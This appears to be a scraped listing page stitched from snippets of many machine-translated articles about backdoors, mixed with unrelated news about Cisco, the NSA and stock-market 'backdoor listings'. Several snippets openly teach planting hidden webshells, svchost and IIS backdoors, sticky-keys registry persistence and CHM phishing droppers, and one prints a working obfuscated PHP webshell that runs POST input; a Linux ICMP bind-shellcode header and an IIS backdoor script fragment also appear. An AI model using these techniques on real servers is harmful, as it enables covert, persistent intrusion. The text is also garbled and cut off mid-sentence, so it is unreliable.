backdoor definition

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Technical Analysis of backdoor hiding

I believe many of my friends have deleted the backdoor that has been infiltrated. Today I am writing this article to teach you how to create your own hidden backdoor and fight the Administrator '''' This article mainly introduces two aspects of backdoor hiding technology: web or server... Let's talk about hiding webshell: The stupid way is to find some places tha

13 WEBSHELL final backdoor discovery tour

Author: TheLostMindSource: Brilliant notes Since I last found a WebShell management website from the Internet, I found a backdoor, infected with a Trojan, and the database was damaged. So far, it has not been repaired ...... So be especially careful with others' webshells. I found a 13th WEBSHELL final generator on the Internet, Next we will generate an ASP WebShellThe generated WebShell is encrypted.This decryption tool is used directly and will not

Dialysis Svchost process clearing Backdoor

shown here is the same as that shown in the service, but it is only a DOS interface. TIPS: in Windows xp, the "tasklist/svc" command will receive the same effect. Due to the length of the article, all functions of Svchost cannot be described in detail. This is a special process in Windows. If you are interested, refer to the relevant technical materials to learn more about it.Next, we have used svchost.exe to launch the trojan program. Here, I chose PortLess

Windows IIS does backdoor, hidden access, no logs

Windows IIS5/IIS6 do backdoor, hide access, do not leave access record or leave logHard to attack a windows2000/2003 IIS server, you must be thinking, how to long-term possession of the "broiler" it? Smart you will think of the way to leave the back door.On the Windows familyWeb server, I think the bestThere is no back door to the back door through the 80 port, because if you want to provide Web services externally, the administrator will not put 80 p

Advanced combination technology creates "perfect" bundled backdoor

About 0x00 Previously wrote a article about client fishing: "Effective fishing using PowerShell client", in the process of testing with each client, the individual found the CHM file is the best use, but its disadvantage is that the black box, so that the attacker will be aware of. So how do you let him not play the black box? That's what this article is about.About 0x01 CHM Before you introduce how to use CHM as a backdoor, you first need

Code short and Covert Backdoor Trojan

This article will introduce a very short code, but also a very covert backdoor Trojan, so that everyone in the detection program can avoid being hung Trojan. The contents of the file are as follows: $_="s"."s"./*-/*-*/"e"./*-/*-*/"r";@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);?> A lot of comments are inserted into the code, and the server's

Cisco announced it would check whether the software contains backdoor code

Cisco announced it would check whether the software contains backdoor code After Juniper's firewall product NetScreen finds two backdoors, Cisco announced that it would re-examine its software in case it contains backdoor code. The backdoors of Juniper are considered to be hidden in the elliptic curve encryption algorithm, and the backdoors of Juniper are a secret password for managing access permissions.

Detected record of the registry and Group Policy Backdoor

Recorded after the test. If you are interested, you may be able to get the backdoor placement skills.Quietly import regedit/s *. regMethod 1: cancel the sticky key REG to import sethc. regWindows Registry Editor Version 5.00[HKEY_CURRENT_USERControl PanelAccessibilityStickyKeys]"Flags" = "506"[HKEY_USERS.DEFAULTControl PanelAccessibilityStickyKeys]"Flags" = "506"After the registry is imported, it will take effect after cancellation. That is, change th

Linux ICMP backdoor code

There are some backdoors in many protocol applications. For example, the Linux ICMP backdoor we will introduce today. Next, let's take a detailed look at the specific content about the 137-byte remote ICMP backdoor in Linux. Use the Ping Control Program: /*x86 linux icmp bind shellcode (137 bytes) by gloomy@netric.org[example]main:/home/gloomy/security/shellcode/linux/icmp# ./icmpSize of shellcode = 137main

A difficult to find PHP backdoor code parsing _ PHP Tutorial

Parsing a PHP backdoor code that is hard to be found. When I see a piece of code by accident, it seems that there is no problem. it is indeed a fatal backdoor code. here I use an anti-code that is not followed by a general PHPer ', when I see a section containing an anti-apostrophes by accident, it seems that there is no problem, but it is actually a fatal backdoor

Testing the return of an asp Trojan Horse Backdoor

Testing the return of an asp Trojan Horse Backdoor A hacker posted a post on our blacklist forum a few days ago.Is sharing a no-kill asp TrojanHowever, I am often very sensitive to such Trojans, because I feel that such sharing is carried with backdoors.In addition, it also sends private messages to some Members.I used mumaasp boxesThis box was taken out by xss.Let's see why I say he is a shell with a backdoor.Zoomed inThere is a hop. What is this? Cl

Reveal the backdoor in phpwebshell

This article is only intended for those who are still contributing to other people's webshells. After obtaining the next website, you can upload webshll and escalate the permission. However, some people will insert a small piece of code in webshell, so that the addresses and passwords of webshells that you have won will be sent to all those who have inserted backdoors in webshell. This code can be large or small. Below is a phpwebshell that I can find to decrypt the

How to Use IAT hook to implement windows universal password Backdoor

Comments: Whether it is true or not, we can implement such a backdoor by ourselves. First, we will briefly introduce some windows login processes. The winlogon process uses gina. dll to obtain the user name and password, and transmits it to the lsass process through LPC. The lsass process then calls the default authentication package msv00000.dll to verify the correct password. Msv1_0 is used to obtain the user from SAM. Whether it is true or not, we

The NSA website says the iOS backdoor is licensed for spying.

7Month -National Security Agency of the United StatesNSAThe official website publishes the article, using AppleIOSBackdoor, permitNSAuse it for espionage (that is, "allows to spy on IPhones "). Please see the Special report: "backdoor found in Apple IOS allows to SPY, used by NSA? " msa Span style= "font-family: Wenquanyi Zen hei, such as wide positive black" > website published this article is meaningful. Standing in nsa look at the issue

Backdoor discovery tour with advanced script "Pony"

Author: New4First, go to our dark group forum and see the following post: "black station essential-powerful hidden backdoors. ASP invincible uploader, and someone replied that there is a domain name that does not know what to do, because of curiosity, download and view the following article.Figure 1 post contentI don't know. I was shocked. This script is not only advanced, but also has a backdoor!Why is it advanced? Because he has never seen some of h

Password replacement for the shiftbackend privilege (sethc.exe backdoor)

In many cases, it is easy to replace the shift backdoor to escalate permissions when it is difficult to escalate permissions. To prevent the shift backdoor from being exploited, you must set permissions for it. Prevent the shift backdoor from being replaced.One worker sethc.exe exists inC: \ windows \ system32 \ sethc.exe and c: \ windows \ system32 \ dllcache \

Metasploit Overflow UNREALIRCD Backdoor Vulnerability

Metasploit Overflow UNREALIRCD Backdoor VulnerabilityUse the UNREALIRCD backdoor vulnerability to obtain root permissions for the target host.The unrealircd of some sites, in which Debug3_dolog_system macros contain externally introduced malicious code, allows remote attackers to execute arbitrary code.First, using the Nmap tool to scan the target hostThe 1.1 uses the Nmap command to scan the target host.

Preg_replace hidden backdoor and follow-up _php tutorial

PHP back door There are many, steamed buns also see more and play more, but in a help friend check the server, unexpectedly found such malicious code. The thing is this, friends of the site of the use of various search backdoor tools have not found PHP Trojan. Always can not find, the black trick is very advanced, each time to make Used to always delete the back door, but every time can continue to come in, always find no where to come in. This really

A-share backdoor listing?

Recent stock market volatility, so that many peer-to-be concept stocks back to prototype. In conjunction with the figures, the Friday-to-one concept shares fell by 9.28% in total, with the exception of 5 listed companies, 14 of which were more than 9% per cent. After the big hot Duolun shares since June 23, the share price suffered "halved", from 20.73 Yuan fell to Friday of 10.01 yuan.Although the stock market ups and downs, there is a "story" about internet finance is not so effective, but rea

IIS backdoor Configurator

Help1 = "IIS backdoor configurator --------------- April 5"Help2 = "enter the correct virtual directory name and ing path. The format is as follows"HElp3 = "cscript.exe IIS. vbs virtual directory name ing path"Help4 = "Example: cscript.exe IIS. vbs lh e :\" Set ARGs = wscript. ArgumentsIf args. Count Wscript. Echo help1Wscript. Echo ""Wscript. Echo help2Wscript. Echo ""Wscript. Echo hElp3Wscript. Echo ""Wscript. Echo help4Wscript. QuitEnd if Strvr

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